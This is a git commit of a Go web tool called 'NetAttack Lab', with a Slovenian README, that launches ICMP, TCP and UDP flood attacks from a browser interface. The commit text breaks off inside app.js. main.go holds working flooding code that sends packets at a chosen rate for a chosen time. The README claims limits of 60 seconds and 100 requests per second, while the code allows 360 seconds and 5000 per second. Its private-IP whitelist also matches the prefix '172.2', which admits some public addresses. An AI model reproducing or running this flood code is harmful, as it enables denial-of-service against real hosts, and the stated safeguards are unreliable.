Netattack Lab initial commit
This commit is contained in:
parent
0ae784f234
commit
beed99171a
9 changed files with 2042 additions and 0 deletions
241
ping_of_death/README.md
Normal file
241
ping_of_death/README.md
Normal file
|
|
@ -0,0 +1,241 @@
|
||||||
|
# NetAttack Lab - Izobraževalni Simulator Omrežnih Napadov
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
## 🎯 Namen
|
||||||
|
|
||||||
|
**NetAttack Lab** je izobraževalno orodje, zasnovano za demonstracijo tehnik preplavitve omrežja in njihov vpliv na sistemske vire. Namenjeno je študentom, raziskovalcem in strokovnjakom za kibernetsko varnost za razumevanje omrežnih napadov in obrambnih strategij v varnem, kontroliranem okolju.
|
||||||
|
|
||||||
|
## ⚠️ POMEMBNO VARNOSTNO OPOZORILO
|
||||||
|
|
||||||
|
```
|
||||||
|
🚨 TA APLIKACIJA JE NAMENJENA IZKLJUČNO IZOBRAŽEVALNIM NAMENOM 🚨
|
||||||
|
|
||||||
|
• Uporabljajte SAMO v lastnih sistemih ali laboratorijskih okoljih
|
||||||
|
• Testiraj SAMO localhost (127.x.x.x) ali lokalne IP naslove (192.168.x.x)
|
||||||
|
• NIKOLI ne uporabljajte proti zunanjim sistemom brez izrecnega dovoljenja
|
||||||
|
• Neupoštevanje lahko povzroči pravne posledice
|
||||||
|
• Avtorji ne prevzemajo odgovornosti za napačno uporabo
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🌟 Funkcionalnosti
|
||||||
|
|
||||||
|
### 🔍 Raziskovalni Modul
|
||||||
|
- **Ping Test**: ICMP echo zahteve za testiranje dostopnosti
|
||||||
|
- **Sledenje Poti**: Traceroute analiza omrežne poti
|
||||||
|
- **Varnostne omejitve**: Samodejno omejevanje na varne IP naslove
|
||||||
|
|
||||||
|
### ⚡ Generator Prometa
|
||||||
|
- **ICMP Echo Poplava**: Simulacija ping flood napadov
|
||||||
|
- **TCP SYN Poplava**: Demonstracija TCP handshake izkoriščanja
|
||||||
|
- **UDP Paketna Poplava**: UDP flooding na naključnih vratih
|
||||||
|
- **Nastavljive parametre**: Trajanje, intenziteta, tip napada
|
||||||
|
- **Omejitve varnosti**: Maksimalno 3 sočasne seje, omejena intenziteta
|
||||||
|
|
||||||
|
### 📊 Sistem Spremljanja
|
||||||
|
- **Realno-časovno nadzor**: Aktivne napade in statistike
|
||||||
|
- **Podrobne metrike**: Uspešno/neuspešno poslani paketi
|
||||||
|
- **Upravljanje sej**: Ročna ustavitev napadov
|
||||||
|
- **Zgodovina**: Pregled vseh izvedenih testov
|
||||||
|
|
||||||
|
## 🚀 Hitri Začetek
|
||||||
|
|
||||||
|
### Predpogoji
|
||||||
|
- Go 1.19 ali novejši
|
||||||
|
- Linux/macOS/Windows operacijski sistem
|
||||||
|
- Omrežne pravice za ICMP pakete (lahko zahtevajo sudo)
|
||||||
|
|
||||||
|
### Namestitev
|
||||||
|
|
||||||
|
1. **Kloniraj repozitorij:**
|
||||||
|
```bash
|
||||||
|
git clone <repository-url>
|
||||||
|
cd ping_of_death
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Zgradi aplikacijo:**
|
||||||
|
```bash
|
||||||
|
# Enostavna gradnja
|
||||||
|
go build -o netattack-lab .
|
||||||
|
|
||||||
|
# Ali uporabi build skripto za več platform
|
||||||
|
chmod +x build.sh
|
||||||
|
./build.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **Zaženi aplikacijo:**
|
||||||
|
```bash
|
||||||
|
# Linux/macOS
|
||||||
|
./netattack-lab
|
||||||
|
|
||||||
|
# Windows
|
||||||
|
netattack-lab.exe
|
||||||
|
```
|
||||||
|
|
||||||
|
4. **Odpri v brskalniku:**
|
||||||
|
```
|
||||||
|
http://localhost:8090
|
||||||
|
```
|
||||||
|
|
||||||
|
## 📁 Struktura Projekta
|
||||||
|
|
||||||
|
```
|
||||||
|
ping_of_death/
|
||||||
|
├── main.go # Glavni Go server z embedded datotekami
|
||||||
|
├── go.mod # Go modul definicija
|
||||||
|
├── build.sh # Build skripta za več platform
|
||||||
|
├── templates/
|
||||||
|
│ └── index.html # Glavna spletna stran (slovenščina)
|
||||||
|
├── static/
|
||||||
|
│ ├── styles.css # Hacker tema CSS stilov
|
||||||
|
│ └── app.js # JavaScript interaktivnost
|
||||||
|
└── README.md # Ta datoteka
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🔧 Tehnične Podrobnosti
|
||||||
|
|
||||||
|
### Arhitektura
|
||||||
|
- **Backend**: Go HTTP server z REST API
|
||||||
|
- **Frontend**: Vanilla JavaScript z real-time posodobitvami
|
||||||
|
- **Embedded**: Vse static datoteke vgrajene v binary
|
||||||
|
- **Sočasnost**: Goroutine za simultane napade
|
||||||
|
- **Varnost**: IP whitelist, rate limiting, session timeout
|
||||||
|
|
||||||
|
### API Končne Točke
|
||||||
|
```
|
||||||
|
GET / # Glavna stran
|
||||||
|
POST /api/ping # Izvedi ping test
|
||||||
|
POST /api/traceroute # Izvedi traceroute
|
||||||
|
POST /api/attack # Začni napad
|
||||||
|
POST /api/stop # Ustavi napad
|
||||||
|
GET /api/status # Pridobi status sej
|
||||||
|
```
|
||||||
|
|
||||||
|
### Varnostne Omejitve
|
||||||
|
- **IP Whitelist**: Samo 127.x.x.x, localhost, 192.168.x.x
|
||||||
|
- **Maksimalno trajanje**: 60 sekund na napad
|
||||||
|
- **Maksimalna intenziteta**: 100 zahtev/sekundo
|
||||||
|
- **Sočasne seje**: Maksimalno 3 aktivne napade
|
||||||
|
|
||||||
|
## 🎓 Izobraževalne Vsebine
|
||||||
|
|
||||||
|
### Tipi Napadov
|
||||||
|
|
||||||
|
#### ICMP Echo Poplava (Ping Flood)
|
||||||
|
- **Namen**: Demonstracija preplavitve z ICMP paketi
|
||||||
|
- **Vpliv**: Poraba pasovne širine in procesnih virov
|
||||||
|
- **Obramba**: Rate limiting, ICMP filtering
|
||||||
|
|
||||||
|
#### TCP SYN Poplava
|
||||||
|
- **Namen**: Izkoriščanje TCP handshake procesa
|
||||||
|
- **Vpliv**: Izčrpavanje connection pool-a
|
||||||
|
- **Obramba**: SYN cookies, connection limiting
|
||||||
|
|
||||||
|
#### UDP Paketna Poplava
|
||||||
|
- **Namen**: Preplavitev z UDP paketi
|
||||||
|
- **Vpliv**: Prisiljevanje ICMP unreachable odgovorov
|
||||||
|
- **Obramba**: UDP rate limiting, port filtering
|
||||||
|
|
||||||
|
### Obrambne Strategije
|
||||||
|
1. **Omejevanje Hitrosti**: Omejitev zahtev na IP
|
||||||
|
2. **Požarna Pravila**: Blokiranje sumljivih vzorcev
|
||||||
|
3. **Razporeditev Obremenitve**: Distribucija prometa
|
||||||
|
4. **DDoS Zaščita**: Cloud-based rešitve
|
||||||
|
5. **Nadzor**: Real-time analiza prometa
|
||||||
|
|
||||||
|
## 🛠️ Uporaba
|
||||||
|
|
||||||
|
### 1. Raziskovanje
|
||||||
|
```
|
||||||
|
Zavihek: Raziskovanje
|
||||||
|
1. Vnesi cilj (127.0.0.1 ali localhost)
|
||||||
|
2. Klikni "Ping Test" ali "Sledenje Poti"
|
||||||
|
3. Opazuj rezultate v terminalu
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Generiranje Napadov
|
||||||
|
```
|
||||||
|
Zavihek: Generiranje Prometa
|
||||||
|
1. Nastavi cilj (samo varni IP-ji)
|
||||||
|
2. Izberi tip napada
|
||||||
|
3. Nastavi trajanje in intenziteto
|
||||||
|
4. Klikni "Začni Napad"
|
||||||
|
5. Opazuj napredek v terminalu
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Spremljanje
|
||||||
|
```
|
||||||
|
Zavihek: Spremljanje
|
||||||
|
- Preglej aktivne seje
|
||||||
|
- Preveri statistike uspešnosti
|
||||||
|
- Ročno ustavi napade
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🔒 Pravne in Etične Smernice
|
||||||
|
|
||||||
|
### ✅ Dovoljeno
|
||||||
|
- Testiranje lastnih sistemov
|
||||||
|
- Lokalni laboratorijski preizkusi
|
||||||
|
- Izobraževalne demonstracije
|
||||||
|
- Razumevanje varnostnih konceptov
|
||||||
|
|
||||||
|
### ❌ Prepovedano
|
||||||
|
- Napadi na valjene storitve
|
||||||
|
- Testiranje brez dovoljenja
|
||||||
|
- Zlonamerni nameni
|
||||||
|
- Kršenje zakonodaje
|
||||||
|
|
||||||
|
### Pravna Odgovornost
|
||||||
|
Uporabnik je v celoti odgovoren za:
|
||||||
|
- Legalno uporabo orodja
|
||||||
|
- Pridobitev ustreznih dovoljenj
|
||||||
|
- Upoštevanje lokalne zakonodaje
|
||||||
|
- Spoštovanje omrežnih politik
|
||||||
|
|
||||||
|
## 🏗️ Razvoj
|
||||||
|
|
||||||
|
### Prispevki
|
||||||
|
Pozivamo k prispevkom za izboljšave in nove funkcionalnosti:
|
||||||
|
- Bug report-i preko Issues
|
||||||
|
- Pull request-i za nove funkcionalnosti
|
||||||
|
- Dokumentacijske izboljšave
|
||||||
|
- Varnostne izboljšave
|
||||||
|
|
||||||
|
### Testiranje
|
||||||
|
```bash
|
||||||
|
# Preveri skladnost kode
|
||||||
|
go fmt ./...
|
||||||
|
go vet ./...
|
||||||
|
|
||||||
|
# Zaženi teste (če obstajajo)
|
||||||
|
go test ./...
|
||||||
|
|
||||||
|
# Preveri embedded datoteke
|
||||||
|
go build -o test-build . && ./test-build
|
||||||
|
```
|
||||||
|
|
||||||
|
## 📝 Licenca
|
||||||
|
|
||||||
|
Ta projekt je namenjen izključno izobraževalnim namenom. Uporaba zunaj izobraževalnih kontekstov ni dovoljenja brez izrecnega soglasja avtorjev.
|
||||||
|
|
||||||
|
## 🤝 Podpora
|
||||||
|
|
||||||
|
Za vprašanja, probleme ali predloge odprite Issue v repozitoriju ali kontaktirajte vzdrževalce projekta.
|
||||||
|
|
||||||
|
## 📚 Dodatni Viri
|
||||||
|
|
||||||
|
### Izobraževalni Materiali
|
||||||
|
- [OWASP Network Testing Guide](https://owasp.org/)
|
||||||
|
- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
|
||||||
|
- [RFC 792 - ICMP Protocol](https://tools.ietf.org/html/rfc792)
|
||||||
|
|
||||||
|
### Obrambni Koncepti
|
||||||
|
- DDoS Protection Best Practices
|
||||||
|
- Network Monitoring Tools
|
||||||
|
- Incident Response Procedures
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Opomnik**: Uporaba tega orodja v zunanjem omrežju ali proti sistemom, ki niso vaši, je lahko nezakonita. Vedno preverite lokalno zakonodajo in pridobite ustrezna dovoljenja pred testiranjem.
|
||||||
34
ping_of_death/build.sh
Executable file
34
ping_of_death/build.sh
Executable file
|
|
@ -0,0 +1,34 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
echo "🔥 Building NetAttack Lab..."
|
||||||
|
echo "=============================="
|
||||||
|
|
||||||
|
# Clean previous builds
|
||||||
|
rm -f netattack-lab*
|
||||||
|
|
||||||
|
# Build for different platforms with embedded resources
|
||||||
|
echo "📦 Building for Linux (amd64)..."
|
||||||
|
GOOS=linux GOARCH=amd64 go build -o netattack-lab-linux-amd64 .
|
||||||
|
|
||||||
|
echo "📦 Building for Windows (amd64)..."
|
||||||
|
GOOS=windows GOARCH=amd64 go build -o netattack-lab-windows-amd64.exe .
|
||||||
|
|
||||||
|
echo "📦 Building for macOS (amd64)..."
|
||||||
|
GOOS=darwin GOARCH=amd64 go build -o netattack-lab-darwin-amd64 .
|
||||||
|
|
||||||
|
echo "📦 Building for macOS (ARM64/M1)..."
|
||||||
|
GOOS=darwin GOARCH=arm64 go build -o netattack-lab-darwin-arm64 .
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "✅ Build completed! Generated executables:"
|
||||||
|
ls -la netattack-lab*
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "🚀 To run the application:"
|
||||||
|
echo "Linux: ./netattack-lab-linux-amd64"
|
||||||
|
echo "Windows: netattack-lab-windows-amd64.exe"
|
||||||
|
echo "macOS: ./netattack-lab-darwin-amd64"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "⚠️ EDUCATIONAL USE ONLY - Use responsibly!"
|
||||||
|
echo "🌐 Access: http://localhost:8090"
|
||||||
BIN
ping_of_death/dist/netattack-test
vendored
Executable file
BIN
ping_of_death/dist/netattack-test
vendored
Executable file
Binary file not shown.
BIN
ping_of_death/dist/netattack-windows.exe
vendored
Executable file
BIN
ping_of_death/dist/netattack-windows.exe
vendored
Executable file
Binary file not shown.
3
ping_of_death/go.mod
Normal file
3
ping_of_death/go.mod
Normal file
|
|
@ -0,0 +1,3 @@
|
||||||
|
module netattack-lab
|
||||||
|
|
||||||
|
go 1.25.7
|
||||||
398
ping_of_death/main.go
Normal file
398
ping_of_death/main.go
Normal file
|
|
@ -0,0 +1,398 @@
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"embed"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"html/template"
|
||||||
|
"io/fs"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"os/exec"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
//go:embed templates/*
|
||||||
|
var templatesFS embed.FS
|
||||||
|
|
||||||
|
//go:embed static/*
|
||||||
|
var staticFS embed.FS
|
||||||
|
|
||||||
|
// Attack session tracker
|
||||||
|
type AttackSession struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Target string `json:"target"`
|
||||||
|
Type string `json:"type"`
|
||||||
|
Status string `json:"status"`
|
||||||
|
Started time.Time `json:"started"`
|
||||||
|
Duration int `json:"duration"`
|
||||||
|
Requests int `json:"requests"`
|
||||||
|
Success int32 `json:"success"`
|
||||||
|
Failed int32 `json:"failed"`
|
||||||
|
Active bool `json:"active"`
|
||||||
|
Cancel context.CancelFunc `json:"-"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type NetTool struct {
|
||||||
|
sessions map[string]*AttackSession
|
||||||
|
mutex sync.RWMutex
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
netTool = &NetTool{sessions: make(map[string]*AttackSession)}
|
||||||
|
templates *template.Template
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
MAX_CONCURRENT_ATTACKS = 3
|
||||||
|
MAX_DURATION = 360 // seconds
|
||||||
|
MAX_REQUESTS_PER_SEC = 5000
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
// Load embedded templates
|
||||||
|
var err error
|
||||||
|
templates, err = template.ParseFS(templatesFS, "templates/*.html")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal("Error loading templates:", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Serve static files
|
||||||
|
staticSubFS, err := fs.Sub(staticFS, "static")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal("Error creating static subFS:", err)
|
||||||
|
}
|
||||||
|
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.FS(staticSubFS))))
|
||||||
|
|
||||||
|
// API routes
|
||||||
|
http.HandleFunc("/", homeHandler)
|
||||||
|
http.HandleFunc("/api/ping", pingHandler)
|
||||||
|
http.HandleFunc("/api/traceroute", tracerouteHandler)
|
||||||
|
http.HandleFunc("/api/attack", attackHandler)
|
||||||
|
http.HandleFunc("/api/status", statusHandler)
|
||||||
|
http.HandleFunc("/api/stop", stopHandler)
|
||||||
|
|
||||||
|
fmt.Println("==============================================")
|
||||||
|
fmt.Println("🔥 NetAttack Lab - Educational Network Testing")
|
||||||
|
fmt.Println("🌐 Server running on: http://localhost:8090")
|
||||||
|
fmt.Println("⚠️ EDUCATIONAL USE ONLY - Test responsibly!")
|
||||||
|
fmt.Println("==============================================")
|
||||||
|
fmt.Println()
|
||||||
|
|
||||||
|
log.Fatal(http.ListenAndServe(":8090", nil))
|
||||||
|
}
|
||||||
|
|
||||||
|
func homeHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
data := map[string]interface{}{
|
||||||
|
"ActiveSessions": len(netTool.getActiveSessions()),
|
||||||
|
"MaxConcurrent": MAX_CONCURRENT_ATTACKS,
|
||||||
|
}
|
||||||
|
templates.ExecuteTemplate(w, "index.html", data)
|
||||||
|
}
|
||||||
|
|
||||||
|
func pingHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != "POST" {
|
||||||
|
http.Error(w, "Method not allowed", 405)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
target := r.FormValue("target")
|
||||||
|
|
||||||
|
if !isValidTarget(target) {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{"error": "Invalid target. Use localhost, 127.x.x.x, or 192.168.x.x"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Execute ping command
|
||||||
|
cmd := exec.Command("ping", "-c", "4", target)
|
||||||
|
output, err := cmd.Output()
|
||||||
|
|
||||||
|
result := map[string]interface{}{
|
||||||
|
"target": target,
|
||||||
|
"output": string(output),
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
result["error"] = err.Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
func tracerouteHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != "POST" {
|
||||||
|
http.Error(w, "Method not allowed", 405)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
target := r.FormValue("target")
|
||||||
|
|
||||||
|
if !isValidTarget(target) {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{"error": "Invalid target"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try traceroute or tracepath
|
||||||
|
var cmd *exec.Cmd
|
||||||
|
if _, err := exec.LookPath("traceroute"); err == nil {
|
||||||
|
cmd = exec.Command("traceroute", "-m", "15", target)
|
||||||
|
} else {
|
||||||
|
cmd = exec.Command("tracepath", target)
|
||||||
|
}
|
||||||
|
|
||||||
|
output, err := cmd.Output()
|
||||||
|
|
||||||
|
result := map[string]interface{}{
|
||||||
|
"target": target,
|
||||||
|
"output": string(output),
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
result["error"] = err.Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
func attackHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != "POST" {
|
||||||
|
http.Error(w, "Method not allowed", 405)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
target := r.FormValue("target")
|
||||||
|
attackType := r.FormValue("type")
|
||||||
|
durationStr := r.FormValue("duration")
|
||||||
|
intensityStr := r.FormValue("intensity")
|
||||||
|
|
||||||
|
// Validation
|
||||||
|
if !isValidTarget(target) {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{"error": "Invalid target. Only localhost and private IPs allowed for safety."})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
duration, err := strconv.Atoi(durationStr)
|
||||||
|
if err != nil || duration < 1 || duration > MAX_DURATION {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{"error": fmt.Sprintf("Duration must be 1-%d seconds", MAX_DURATION)})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
intensity, err := strconv.Atoi(intensityStr)
|
||||||
|
if err != nil || intensity < 1 || intensity > MAX_REQUESTS_PER_SEC {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{"error": fmt.Sprintf("Intensity must be 1-%d requests/sec", MAX_REQUESTS_PER_SEC)})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check concurrent limit
|
||||||
|
if len(netTool.getActiveSessions()) >= MAX_CONCURRENT_ATTACKS {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{"error": "Maximum concurrent attacks reached"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create attack session
|
||||||
|
sessionID := fmt.Sprintf("attack_%d", time.Now().UnixNano())
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
|
||||||
|
session := &AttackSession{
|
||||||
|
ID: sessionID,
|
||||||
|
Target: target,
|
||||||
|
Type: attackType,
|
||||||
|
Status: "starting",
|
||||||
|
Started: time.Now(),
|
||||||
|
Duration: duration,
|
||||||
|
Requests: intensity,
|
||||||
|
Active: true,
|
||||||
|
Cancel: cancel,
|
||||||
|
}
|
||||||
|
|
||||||
|
netTool.mutex.Lock()
|
||||||
|
netTool.sessions[sessionID] = session
|
||||||
|
netTool.mutex.Unlock()
|
||||||
|
|
||||||
|
// Start attack in background
|
||||||
|
go runAttack(ctx, session)
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{
|
||||||
|
"sessionId": sessionID,
|
||||||
|
"status": "Attack initiated",
|
||||||
|
"target": target,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func runAttack(ctx context.Context, session *AttackSession) {
|
||||||
|
defer func() {
|
||||||
|
session.Active = false
|
||||||
|
session.Status = "completed"
|
||||||
|
}()
|
||||||
|
|
||||||
|
session.Status = "running"
|
||||||
|
interval := time.Duration(1000/session.Requests) * time.Millisecond
|
||||||
|
timeout := time.After(time.Duration(session.Duration) * time.Second)
|
||||||
|
ticker := time.NewTicker(interval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
session.Status = "stopped"
|
||||||
|
return
|
||||||
|
case <-timeout:
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
go func() {
|
||||||
|
switch session.Type {
|
||||||
|
case "ping_flood":
|
||||||
|
if err := sendPing(session.Target); err == nil {
|
||||||
|
atomic.AddInt32(&session.Success, 1)
|
||||||
|
} else {
|
||||||
|
atomic.AddInt32(&session.Failed, 1)
|
||||||
|
}
|
||||||
|
case "tcp_syn":
|
||||||
|
if err := sendTCPSyn(session.Target); err == nil {
|
||||||
|
atomic.AddInt32(&session.Success, 1)
|
||||||
|
} else {
|
||||||
|
atomic.AddInt32(&session.Failed, 1)
|
||||||
|
}
|
||||||
|
case "udp_flood":
|
||||||
|
if err := sendUDP(session.Target); err == nil {
|
||||||
|
atomic.AddInt32(&session.Success, 1)
|
||||||
|
} else {
|
||||||
|
atomic.AddInt32(&session.Failed, 1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendPing(target string) error {
|
||||||
|
conn, err := net.Dial("ip4:icmp", target)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// Simple ICMP echo request simulation
|
||||||
|
_, err = conn.Write([]byte{8, 0, 0, 0, 0, 1, 0, 1})
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendTCPSyn(target string) error {
|
||||||
|
conn, err := net.DialTimeout("tcp", target+":80", 1*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
conn.Close()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendUDP(target string) error {
|
||||||
|
conn, err := net.Dial("udp", target+":53")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
_, err = conn.Write([]byte("test"))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func statusHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
sessions := netTool.getAllSessions()
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(sessions)
|
||||||
|
}
|
||||||
|
|
||||||
|
func stopHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != "POST" {
|
||||||
|
http.Error(w, "Method not allowed", 405)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
sessionID := r.FormValue("sessionId")
|
||||||
|
|
||||||
|
netTool.mutex.Lock()
|
||||||
|
if session, exists := netTool.sessions[sessionID]; exists && session.Active {
|
||||||
|
session.Cancel()
|
||||||
|
session.Status = "stopping"
|
||||||
|
}
|
||||||
|
netTool.mutex.Unlock()
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]string{"status": "stopped"})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Utility functions
|
||||||
|
func isValidTarget(target string) bool {
|
||||||
|
// Only allow localhost and private IP ranges for safety
|
||||||
|
if target == "localhost" || target == "127.0.0.1" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
ip := net.ParseIP(target)
|
||||||
|
if ip == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// Allow private IP ranges only
|
||||||
|
if ip.IsLoopback() ||
|
||||||
|
strings.HasPrefix(target, "192.168.") ||
|
||||||
|
strings.HasPrefix(target, "10.") ||
|
||||||
|
strings.HasPrefix(target, "172.16.") ||
|
||||||
|
strings.HasPrefix(target, "172.17.") ||
|
||||||
|
strings.HasPrefix(target, "172.18.") ||
|
||||||
|
strings.HasPrefix(target, "172.19.") ||
|
||||||
|
strings.HasPrefix(target, "172.2") ||
|
||||||
|
strings.HasPrefix(target, "172.30.") ||
|
||||||
|
strings.HasPrefix(target, "172.31.") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func (nt *NetTool) getActiveSessions() []*AttackSession {
|
||||||
|
nt.mutex.RLock()
|
||||||
|
defer nt.mutex.RUnlock()
|
||||||
|
|
||||||
|
var active []*AttackSession
|
||||||
|
for _, session := range nt.sessions {
|
||||||
|
if session.Active {
|
||||||
|
active = append(active, session)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return active
|
||||||
|
}
|
||||||
|
|
||||||
|
func (nt *NetTool) getAllSessions() []*AttackSession {
|
||||||
|
nt.mutex.RLock()
|
||||||
|
defer nt.mutex.RUnlock()
|
||||||
|
|
||||||
|
var sessions []*AttackSession
|
||||||
|
for _, session := range nt.sessions {
|
||||||
|
sessions = append(sessions, session)
|
||||||
|
}
|
||||||
|
|
||||||
|
return sessions
|
||||||
|
}
|
||||||
482
ping_of_death/static/app.js
Normal file
482
ping_of_death/static/app.js
Normal file
|
|
@ -0,0 +1,482 @@
|
||||||
|
// NetAttack Lab - Interactive JavaScript
|
||||||
|
|
||||||
|
class NetAttackLab {
|
||||||
|
constructor() {
|
||||||
|
this.activeAttacks = new Map();
|
||||||
|
this.sessionUpdateInterval = null;
|
||||||
|
this.init();
|
||||||
|
}
|
||||||
|
|
||||||
|
init() {
|
||||||
|
this.initTabs();
|
||||||
|
this.initEventListeners();
|
||||||
|
this.updateSystemTime();
|
||||||
|
this.startSessionMonitoring();
|
||||||
|
this.setupRangeInputs();
|
||||||
|
|
||||||
|
// Add some startup effects
|
||||||
|
setTimeout(() => {
|
||||||
|
this.addLog('recon-logs', '🔥 Vsi sistemi pripravljeni', 'success');
|
||||||
|
}, 1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Tab Management
|
||||||
|
initTabs() {
|
||||||
|
const tabBtns = document.querySelectorAll('.tab-btn');
|
||||||
|
const tabContents = document.querySelectorAll('.tab-content');
|
||||||
|
|
||||||
|
tabBtns.forEach(btn => {
|
||||||
|
btn.addEventListener('click', () => {
|
||||||
|
const targetTab = btn.getAttribute('data-tab');
|
||||||
|
|
||||||
|
// Remove active classes
|
||||||
|
tabBtns.forEach(b => b.classList.remove('active'));
|
||||||
|
tabContents.forEach(content => content.classList.remove('active'));
|
||||||
|
|
||||||
|
// Add active classes
|
||||||
|
btn.classList.add('active');
|
||||||
|
document.getElementById(targetTab).classList.add('active');
|
||||||
|
|
||||||
|
// Special handling for monitoring tab
|
||||||
|
if (targetTab === 'monitoring') {
|
||||||
|
this.updateSessionsTable();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Event Listeners
|
||||||
|
initEventListeners() {
|
||||||
|
// Range input updates
|
||||||
|
const durationRange = document.getElementById('duration');
|
||||||
|
const intensityRange = document.getElementById('intensity');
|
||||||
|
|
||||||
|
if (durationRange) {
|
||||||
|
durationRange.addEventListener('input', (e) => {
|
||||||
|
document.getElementById('duration-value').textContent = e.target.value + 's';
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (intensityRange) {
|
||||||
|
intensityRange.addEventListener('input', (e) => {
|
||||||
|
